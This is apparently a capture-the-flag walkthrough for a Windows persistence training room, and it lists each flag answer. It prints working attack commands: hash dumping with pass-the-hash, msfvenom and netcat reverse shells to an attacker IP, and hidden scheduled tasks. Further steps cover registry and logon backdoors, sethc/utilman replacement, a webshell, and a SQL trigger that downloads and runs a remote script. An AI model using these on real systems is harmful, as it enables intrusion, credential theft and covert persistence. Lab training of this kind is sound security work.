
Windows Local Persistence
This guide contains the answer and steps necessary to get to them for the Windows Local Persistence room.
Table of contents
- Tampering With Unprivileged Accounts
- Backdooring Files
- Abusing Services
- Abusing Scheduled Tasks
- Logon Triggered Persistence
- Backdooring the Login Screen / RDP
- Persisting Through Existing Services
Tampering With Unprivileged Accounts
-
Insert flag1 here
The first thing we need to do, is add the thmuser1 to the "Backup Operators" and the "Remote Management Users" groups. This can be done through the Administrator account.
consolenet localgroup "Backup Operators" thmuser1 /add net localgroup "Remote Management Users" thmuser1 /add
We also need to disable the LocalAccountTokenFilterPolicy.
consolereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
Now we have access to the SAM and SYSTEM files. Lets export them from the registry and download them to our machine.
consolereg save hklm\system system.bak reg save hklm\sam sam.bak download system.bak download sam.bak
After downloading, we can use the
secretsdump.pyfile to dump the hashes from the hives.consolepython /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCALWith the found Administrator hash (only the last part), we can use a pass-the-hash method to login withn WinRM.
consoleevil-winrm -i 10.10.112.47 -u Administrator -H f3118544a831e728781d780cfdb9c1faSuccess! Now we can execute the flag file.

Click for answer
THM{FLAG_BACKED_UP!} -
Insert flag2 here
First, we add the required privileges (SeBackupPrivilege and SeRestorePrivilege) to the account through the Administrator account.
consolesecedit /export /cfg config.ini
Now we must load this configuration back into the system.
consolesecedit /import /cfg config.ini /db config.db secedit /configure /db config.db /cfg config.iniLastly, we change the descriptor for WinRM so the user can use it. Add the user (thmuser2) and make sure it has full control.
consoleSet-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
After having done that, we can login with this user and export and dump the hashes from the accounts as done in the previous question.
Now login with the obtained Administrator hash and find our second flag.

Unfortunately, there seems to be something missing. But the privileges are enabled for my account...

We'll have to get back on this one.
Click for answer
Answer found online is: THM{IM_JUST_A_NORMAL_USER} -
Insert flag3 here
First we need to open regedit with SYSTEM privileges. We will use
PsExecfor this.cmdPsExec.exe -i -s regedit
Here we see a list of users. We are interested in
thmuser3. So we need to find the correct one.Using
wmicwe can find the RIDs of all users.cmdwmic useraccount get name,sid
thmuser3has RID 1010. Converting this into its hex value (base16) gives us3f2.
This can also be found in regedit under the users tab.

Under the F key, we can see the RID data for this user. At position 30 (0x30) we can see the RID stored with little endian notation (e.g., f2 03).

We must change this to that of the Administrators account which is 1F4 (this can be found under the users tab in regedit). Remember to reverse the numbers (f4 01).

Unfortunately, the machine seems to have crashed. So I had to restart the machine and re-do these steps.
After trying again, it still won't work...
================================================================== The following steps did not work...
Now we can log into the machine with RDP and the
thmuser3credentials.RID LOGIN THMUSER3
It appears we have indeed Admin privileges as our terminal is started in system32. Lets try and get our flag.
RID FLAG 3
Click for answer
Answer found online is: THM{TRUST_ME_IM_AN_ADMIN}
Backdooring Files
-
Insert flag5 here
Lets first create a Powershell script which will create a reverse shell and afterwards opens calculator as if nothing happened.

Don't forget to add your IP and port. Save it to the same folder as the calc shortcut (system32).
Now we must alter the shortcut to link to our script. The target should be:
consolepowershell.exe -WindowStyle hidden C:\Windows\system32\backdoor.ps1
Notice that the shortcut icon has changed to a powershell icon. Lets revert this to avoid suspicion.

Now we can start out listener with:
nc -nlvp 1337and execute the shortcut. If we get a connection we can retrieve our flag.Click for answer
THM{NO_SHORTCUTS_IN_LIFE}
-
Insert flag6 here
For this we need a script which is slightly different.
powershellStart-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe 10.18.78.136 1337" C:\Windows\system32\NOTEPAD.EXE $args[0]
Now we must change the file type association of a .txt file.
We must change the open command for
txtfileto the following:powershellpowershell -windowstyle hidden C:\Windows\backdoor2.ps1 %1
Next we create a text file on the desktop and setup our listener on our machine with
nc -nlvp 1337. Finally, we should get a connection when opening the text file.
All thats left to do now, is get our flag.

Click for answer
THM{TXT_FILES_WOULD_NEVER_HURT_YOU}
Abusing Services
-
Insert flag7 here
First thing to do is create a payload that will give us a reverse shell upon executing. Make sure the type is set to windows service.
consolemsfvenom -p windows/x64/shell_reverse_tcp LHOST=10.18.78.136 LPORT=1337 -f exe-service -o rev-svc.exe
Now we can transfer this file to the target system.
powershellevil-winrm -i 10.10.163.79 -u Administrator -H f3118544a831e728781d780cfdb9c1fa upload /home/kali/rev-svc.exe C:\Windows\rev-svc.exe
Next we must create a new service that points to this executable and starts at launch.
powershellsc.exe create THMservice2 binPath= "C:\Windows\rev-svc.exe" start= auto
Before starting this service, we should setup a listener with
ncnc -nlvp 1337.powershellsc.exe start THMservice2
Now that we have a connection, we can get our flag.

Click for answer
THM{SUSPICIOUS_SERVICES} -
Insert flag8 here
To find a suitable service to modify, we should check for any stopped services. Instead of looking through all services, we know there is one named
THMservice.powershellsc.exe query state= all sc.exe query thmservice2 sc.exe query thmservice3 sc.exe qc thmservice3
We see we only need to change the binpath and account name it will run as.
powershellsc.exe config thmservice3 binPath= "C:\Windows\rev-svc.exe" obj= "LocalSystem"
After starting out listener again, we can start the service to get a connection back.
powershellnc -nlvp 1337 sc.exe start THMservice3
Now we can get our flag!

Click for answer
THM{IN_PLAIN_SIGHT}
Abusing Scheduled Tasks
-
Insert flag9 here
We can use the following command to create a task that will run every minute and creates a netcat connection back to our system.
powershellschtasks /create /sc minute /mo 1 /tn THM-TaskBackDoor /tr "C:\tools\nc64 -e cmd.exe 10.18.78.136 1337" /ru SYSTEM
We can check if it was properly created with
schtasksas well.powershellschtasks /query /tn THM-TaskBackDoorThis is already enough for the flag. But we can still try and hide this task. This can be done by either removing or renaming its security descriptor.
Open regedit with SYSTEM privileges using
PsExec:powershellC:\tools\pstools\PsExec.exe -i -s regeditNow navigate to
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\THM-TaskBackDoorand remove or rename the SD key.
Querying the task again, should now give us an error.

Al that is left to do now, is setup our
nclistener and wait for the task to run again.
Click for answer
THM{JUST_A_MATTER_OF_TIME}
Logon Triggered Persistence
-
Insert flag10 here
We need to create another payload which is of type exe (not exe-service).
consolemsfvenom -p windows/x64/shell_reverse_tcp LHOST=10.18.78.136 LPORT=1337 -f exe -o revshell.exeCreate an http server and transfer it to our target machine.
consolepython3 -m http.server 8080 wget http://10.18.78.136:8080/revshell.exe -O revshell.exe
Now copy this file to the startup folder for all users:
powershellcopy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\revshell.exe"
Before loging out, make sure to disable the previously created task or it might interfere. Then logout of the machine and remote back in.
If you setup a listener first, you should get a connection back.

And we can get our 10th flag.

Click for answer
THM{NO_NO_AFTER_YOU} -
Insert flag11 here
We can use the same file, but lets move it so the startup folder doesn't execute it as well.
consolemove "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\revshell.exe" "C:\Windows\revshell.exe"
Now we must add a key to the registry telling windows to execute the file on login. We'll place it in the folder for all users.
HKLM\Software\Microsoft\Windows\CurrentVersion\RunMake sure to add it as an expandable variable with name
MyBackdoor
After loggin in again (and setting up a listener), we should be able to get our flag.

Click for answer
THM{LET_ME_HOLD_THE_DOOR_FOR_YOU} -
Insert flag12 here
We can use the same payload as in the previous question. We don't need to move it either.
What we need to do is modify the userinit key in the winlogon folder of the registry to include our payload.
Navigate to
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\in the registry.Append the
userinitvalue with, C:\Windows\revshell.exe.
Don't forget to remove the run value we added in the previous question. Logout and back in again and we should be able to get our flag.

Click for answer
THM{I_INSIST_GO_FIRST} -
Insert flag13 here
We can use the same payload as in the previous question. We don't need to move it either.
Navigate to
HKCU\Environmentand add en expandable string value calledUserInitMprLogonScriptand have it point to our payload.
Don't forget to remove the userinit value we added in the previous question. Logout and back in again and we should be able to get our flag.
zClick for answer
THM{USER_TRIGGERED_PERSISTENCE_FTW}
Backdooring the Login Screen / RDP
-
Insert flag14 here
In order for this exploit to work, we need to take ownership of sethc.exe and give the admin account permission to modify it. Then make a backup just in case and overwrite the original with cmd.exe
cmdtakeown /F C:\Windows\system32\sethc.exe icacls C:\Windows\system32\sethc.exe /grant Administrator:F copy C:\Windows\system32\sethc.exe C:\Windows\system32\sethc.exe.bak copy C:\Windows\system32\cmd.exe C:\Windows\system32\sethc.exe
Now we lock the machine, hit
shift5 times and we should get a command prompt.
Now we can get our flag.

Click for answer
THM{BREAKING_THROUGH_LOGIN} -
Insert flag15 here
In order for this exploit to work, we need to take ownership of utilman.exe and give the admin account permission to modify it. Then make a backup just in case and overwrite the original with cmd.exe
cmdtakeown /F C:\Windows\system32\utilman.exe icacls C:\Windows\system32\utilman.exe /grant Administrator:F copy C:\Windows\system32\utilman.exe C:\Windows\system32\utilman.exe.bak copy C:\Windows\system32\cmd.exe C:\Windows\system32\utilman.exe
Now we lock the machine and click the accessibility icon to receive a command prompt.

Now we can get our flag.

Click for answer
THM{THE_LOGIN_SCREEN_IS_MERELY_A_SUGGESTION}
Persisting Through Existing Services
-
Insert flag16 here
We can use the webshell provided in the link. Setup an http server and transfer the file to the target machine.
consolecurl http://10.10.112.63:8080/shell.aspx -o shell.aspx move shell.aspx C:\inetpub\wwwroot\shell.aspx
If we now head to http://10.10.100.83/shell.aspx we should be able to access the shell.

Unfortunately, we are denied access to the file. This might be due to permission not transfering over. Lets change that
consoleicacls C:\inetpub\wwwroot\shell.aspx /grant Everyone:F
Trying again, does give us access to the shell.

We can now get our 16th flag.

Click for answer
THM{EZ_WEB_PERSISTENCE} -
Insert flag17 here
Lets first create our powershell script. Make sure to use the correct ip and port.
powershell$client = New-Object System.Net.Sockets.TCPClient("10.10.112.63",1337); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (pwd).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() }; $client.Close()Now we must prepare the SQL database. Start the Microsoft SQL Management Service and create a new query to enable xp_cmdshell.
sqlsp_configure 'Show Advanced Options',1; RECONFIGURE; GO sp_configure 'xp_cmdshell',1; RECONFIGURE; GO
Next, we must grant all users the ability to impersonate the sa user.
sqlUSE master GRANT IMPERSONATE ON LOGIN::sa to [Public];
Now we must select the
HRDBdatabase and create our trigger.sqlUSE HRDB CREATE TRIGGER [sql_backdoor] ON HRDB.dbo.Employees FOR INSERT AS EXECUTE AS LOGIN = 'sa' EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://10.10.112.63:8080/evilscript.ps1'')"';
All that is left now, is to add a new employee into the database. This can be done from the root webpage (http://10.10.100.83).

Now we can get our final flag.

Click for answer
THM{I_LIVE_IN_YOUR_DATABASE}